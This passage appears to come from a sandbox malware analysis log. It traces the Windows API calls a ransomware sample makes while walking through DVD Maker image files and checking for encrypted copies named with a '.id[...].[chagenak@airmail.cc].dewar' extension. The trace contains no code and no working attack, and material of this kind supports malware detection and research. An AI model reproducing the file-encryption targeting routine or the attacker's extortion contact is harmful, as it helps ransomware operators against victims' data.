Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\203x8subpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0249.502] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=2820) returned 1 [0249.502] CloseHandle (hObject=0x1bc) returned 1 [0249.502] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\203x8subpicture.png")) returned 0x20 [0249.502] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\203x8subpicture.png")) returned 0x20 [0249.503] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\203x8subpicture.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0249.503] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\203x8subpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.504] SetEvent (hEvent=0x118) returned 1 [0249.504] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0249.508] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3130) returned 1 [0249.508] CloseHandle (hObject=0x1bc) returned 1 [0249.508] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_selectionsubpicture.png")) returned 0x20 [0249.508] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_selectionsubpicture.png")) returned 0x20 [0249.508] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_selectionsubpicture.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0249.509] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.509] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0249.511] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=5025) returned 1 [0249.511] CloseHandle (hObject=0x1bc) returned 1 [0249.512] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_buttongraphic.png")) returned 0x20 [0249.512] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_buttongraphic.png")) returned 0x20 [0249.512] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_buttongraphic.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0249.512] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.513] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0249.516] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3118) returned 1 [0249.516] CloseHandle (hObject=0x1bc) returned 1 [0249.516] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_selectionsubpicture.png")) returned 0x20 [0249.516] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_selectionsubpicture.png")) returned 0x20 [0249.516] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_selectionsubpicture.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0249.517] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.517] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0249.519] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=4955) returned 1 [0249.519] CloseHandle (hObject=0x1bc) returned 1 [0249.520] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_buttongraphic.png")) returned 0x20 [0249.520] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_buttongraphic.png")) returned 0x20 [0249.520] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_ButtonGraphic.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_buttongraphic.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0249.520] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.521] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0249.522] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3081) returned 1 [0249.523] CloseHandle (hObject=0x1bc) returned 1 [0249.523] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_selectionsubpicture.png")) returned 0x20 [0249.523] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_selectionsubpicture.png")) returned 0x20 [0249.523] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_SelectionSubpicture.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_selectionsubpicture.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0249.523] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.524] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\pagecurl.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\pagecurl.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0249.525] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=24520) returned 1 [0249.525] CloseHandle (hObject=0x1bc) returned 1 [0249.525] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\pagecurl.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\pagecurl.png")) returned 0x20 [0249.525] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\pagecurl.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\pagecurl.png")) returned 0x20 [0249.525] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\pagecurl.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\pagecurl.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0249.526] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\pagecurl.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\pagecurl.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.527] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\1047x576black.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0249.536] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=4570) returned 1 [0249.537] CloseHandle (hObject=0x1bc) returned 1 [0249.550] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\1047x576black.png")) returned 0x20 [0249.550] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\1047x576black.png")) returned 0x20 [0249.551] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\1047x576black.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\1047x576black.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0249.551] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.552] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\15x15dot.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0249.983] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=2821) returned 1 [0249.984] CloseHandle (hObject=0x1f0) returned 1 [0249.984] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\15x15dot.png")) returned 0x20 [0249.984] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\15x15dot.png")) returned 0x20 [0249.984] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\15x15dot.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0249.984] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\15x15dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.985] SetEvent (hEvent=0x118) returned 1 [0249.987] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_glass_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0249.987] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=5072) returned 1 [0249.987] CloseHandle (hObject=0x1f0) returned 1 [0249.988] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_glass_thumbnail.bmp")) returned 0x20 [0249.988] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_glass_thumbnail.bmp")) returned 0x20 [0249.988] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_glass_thumbnail.bmp.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0249.988] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_glass_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.989] SetEvent (hEvent=0x118) returned 1 [0249.990] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0249.991] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=4728) returned 1 [0249.991] CloseHandle (hObject=0x1f0) returned 1 [0249.991] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_selectionsubpicture.png")) returned 0x20 [0249.991] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_selectionsubpicture.png")) returned 0x20 [0249.991] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_selectionsubpicture.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0249.992] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.992] SetEvent (hEvent=0x118) returned 1 [0249.994] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_videoinset.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0249.994] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=5742) returned 1 [0249.995] CloseHandle (hObject=0x1f0) returned 1 [0249.995] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_videoinset.png")) returned 0x20 [0249.995] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_videoinset.png")) returned 0x20 [0249.995] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_videoinset.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0249.995] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.996] SetEvent (hEvent=0x118) returned 1 [0249.997] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\1047x576black.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0250.006] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=4570) returned 1 [0250.006] CloseHandle (hObject=0x1f0) returned 1 [0250.006] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\1047x576black.png")) returned 0x20 [0250.006] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\1047x576black.png")) returned 0x20 [0250.006] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\1047x576black.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0250.006] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.007] SetEvent (hEvent=0x118) returned 1 [0250.009] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\15x15dot.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0250.670] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=2821) returned 1 [0250.670] CloseHandle (hObject=0x1fc) returned 1 [0250.671] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\15x15dot.png")) returned 0x20 [0250.671] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\15x15dot.png")) returned 0x20 [0250.671] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\15x15dot.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0250.671] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\15x15dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.672] SetEvent (hEvent=0x118) returned 1 [0250.673] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\blackbars60.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0250.823] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=6431) returned 1 [0250.823] CloseHandle (hObject=0x1fc) returned 1 [0250.823] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\blackbars60.png")) returned 0x20 [0250.823] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\blackbars60.png")) returned 0x20 [0250.823] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\blackbars60.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0250.823] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD 